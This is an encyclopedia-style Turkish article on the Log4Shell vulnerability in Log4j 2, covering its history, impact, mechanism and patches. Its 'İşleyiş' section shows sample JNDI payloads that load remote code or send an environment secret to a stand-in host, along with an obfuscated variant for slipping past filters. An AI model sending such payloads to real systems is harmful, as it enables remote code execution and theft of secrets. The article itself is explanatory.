Log4Shell

Log4Shell (CVE-2021-44228) popüler Java loglama kütüphanesi Log4j 2'de Kasım 2021'de keşfedilmiş, uzaktan kod yürütmeyi mümkün kılan bir sıfır-gün açığıdır.^[1][2]

2013'ten beri fark edilmeyen bu güvenlik açığı, 24 Kasım 2021'de Alibaba Cloud güvenlik ekibinden Chen Zhaojun tarafından özel olarak projenin geliştiricisi Apache Yazılım Vakfı'na bildirildi.^[3] 10 Aralık 2021'de bir CVE tanımlayıcısı oluşturulana dek bu açık, kamuoyunda "Log4Shell" olarak adlandırılmıştır.^[4][5] Apache bu güvenlik açığına CVSS ölçeğinde en yüksek tehlike skoru olan 10.0 puanını verdi.^[6] Çalıştırması oldukça basit olan bu güvenlik zafiyetinin yüz milyonlarca cihazı etkilediği öngörüldü.^[7][8] Siber güvenlik şirketleri Wiz ve EY'e göre bu güvenlik açığından, ticari bulut ortamlarının %93'ü etkilendi.^[9]

Zafiyet, Log4j 2'nin JNDI arayüzü suistimal edilerek, saldırganın kendi sunucusuna LDAP ve DNS gibi protokollerle istenen herhangi bir isteği gönderilebilmesinden kaynaklanır. Bu sayede saldırganlar hedefledikleri sunucularda veya bilgisayarlarda, istedikleri Java kodunu çalıştırabilir, hassas bilgileri sızdırabilir.^[10][11] Apache Güvenlik Takımı tarafından bu zafiyetten etkilenen yazılımların bir listesi yayınlandı.^[12] Bu zafiyetten başta Minecraft^[13], Steam, Amazon Web Services^[14], Cloudflare ve İCloud^[15] olmak üzere pek çok ticari hizmet etkilendi.^[16]

Bu zafiyet halka açık olarak ilk duyurulduğunda, siber güvenlik uzmanları tarafından şiddetli bir tepki aldı. Amerikan siber güvenlik şirketi Tenable, bu açığı "Şimdiye kadarki en büyük ve en kritik zafiyet"^[17] olarak nitelendirdi; Ars Technica "Muhtemelen şimdiye dek görülen en ciddi zafiyet"^[18] şeklinde tanımladı ve The Washington Post güvenlik uzmanlarının yaptığı değerlendirmelerin "neredeyse kıyametin eşiğinde bir tonda" olduğunu belirtti.^[19]

Arka plan

Log4j, yazılım geliştiricilerin, kullanıcı girdileri de dahil olmak üzere uygulamaların kayıtlarını tutmalarına yarayan, 2001'de Ceki Gülcü tarafından Apache bünyesinde yayınlanmış açık kaynaklı bir Java kütüphanesidir. Orijinal geliştirici Ceki Gülcü 2006 yılında Apache'den ve Log4j geliştirme ekibinden ayrılmış, kütüphane Apache geliştiricileri tarafından geliştirilmeye devam edilmiştir.^[20]

2012 yılında Log4j tamamen yeniden dizayn edilmeye başlandı.^[20][21] 14 Eylül 2013 yılında Apache Yazılım Vakfı tarafından birçok hatanın giderildiği ve bu güvenlik zafiyetinin ilk görülmeye başlandığı Log4j 2.0-beta9 sürümü yayınladı.^[22]

Bu yeni sürümle beraber Log4j, çeşitli dizin ve adlandırma hizmetlerine erişmek için API sağlayan standart bir Java uzantısı olan JNDI'yi (Java™ Naming and Directory Interface) desteklemeye başladı.^[23]

İşleyiş

JNDI, çeşitli dizin ve adlandırma hizmetlerine erişmek için API sağlayan standart bir Java uzantısıdır. Çeşitli protokolleri destekler, bunlardan biri de uzak kaynaktaki bir nesnenin bir URL aracılığıyla uygulama içinde kullanılmasını mümkün kılan LDAP protokolüdür (Türkçe: Basit İndeks Erişim Protokolü).^[24]

Varsayılan ayarlarda Log4j 2, ${prefix:name} formatındaki karakter dizisini günlük defterine yazarken çözümler. Örneğin İşletim Sistemi: ${java:os} ifadesi, İşletim Sistemi: Windows 11 şeklinde çözümlenebilir.^[25] Bunlar arasında en tanınan ifadelerden biri ${jndi:<lookup>} şeklindeki ifadelerdir, eğer "lookup" (erişim/çözümleme) ifadesi için bir LDAP adresi girilirse, örneğin: ${jndi:ldap://example.com/zararli_dosya} , Log4j bu URL'ye bağlanarak Java nesnesini yükleyecektir. Bu sayede saldırgan, kendi sunucusunda bulundurduğu kötü niyetli kodu, hedef sunucuda çalıştırabilir.^[24]

Hedefte dışarıdan kod çalıştırma yetkisi sınırlandırılmışsa dahi; saldırgan, hedef sistemdeki çevre değişkenleri gibi hassas bilgileri parametre olarak ekleyebilir ve kendi sunucusuna gönderebilir, örneğin: ${jndi:ldap://example.com/?${env:SECRET_TOKEN}}^[24] LDAP'ın yanı sıra; RMI, DNS, IIOP gibi JNDI'nın desteklediği protokoller de bu zafiyeti çalıştırırken kullanılabilir.

Bu zafiyeti kullanan popüler bir saldırı vektörü, art niyetli ifadeyi HTTP isteğinin içindeki User-Agent gibi değerler ile göndermektir. Bu zafiyeti çözmek için atılan ilk adımlar, içinde ${jndi geçen talepleri tamamen engellemek oldu, ancak bu tür çözümler, isteği karmaşıklaştırarak aşılabiliyordu. Örneğin: ${${lower:j}ndi ifadesi sunucuda yine ${jndi şeklinde yorumlanır ve filtreden kaçınabilir.^[24]

Zafiyetin giderilmesi

Zafiyetin giderilmesi için 6 Aralık 2021'de, zafiyet kamuoyuna duyurulmadan 3 gün önce, Log4j 2.15.0-rc1 sürümü yayınlandı.^[26] Çözümler arasında, isim çözümlemede sunucu ve protokollerin kullanılmasının tamamen yasaklanması da bulunuyordu. Yapılan daha derin tahkikatlar sonucunda araştırmacılar bazı konfigürasyonlarda hâlâ uzaktan kod çalıştırmayı mümkün kılan, CVSS skoru 9.0 olarak belirlenen, başka bir kritik güvenlik açığı buldular, CVE-2021-45046; bu açık JNDI özelliğinin tamamen devre dışı bırakıldığı 2.16.0 sürümüyle giderildi. İlerleyen süreçte iki ek zafiyet daha bulundu, biri 2.17 sürümüyle giderilen CVE-2021-45105 numaralı bir servis dışı bırakma saldırısı açığı, diğeri ise 2.17.1 sürümüyle giderilen CVE-2021-44832 numaralı, çalıştırması oldukça güç bir uzaktan kod yürütme açığıydı.

2.17.1'den 2.0.0'a kadar olan eski sürümlerde çözüm olarak org.apache.logging.log4j.core.lookup.JndiLookup sınıfının tamamen silinmesi önerildi. Çeşitli sebeplerden dolayı Log4j 2'nin güncellenmesinin mümkün olmadığı sistemlerde ise dışarıya giden internet trafiğinin filtrelenmesi önerildi.^[27]

Log4j 1.x sürümleri, Log4j 2’de getirilen mesaj arama (message lookup) mekanizmasını içermediğinden, Log4Shell zafiyetinden etkilenmemektedir.^[28]

Kaynakça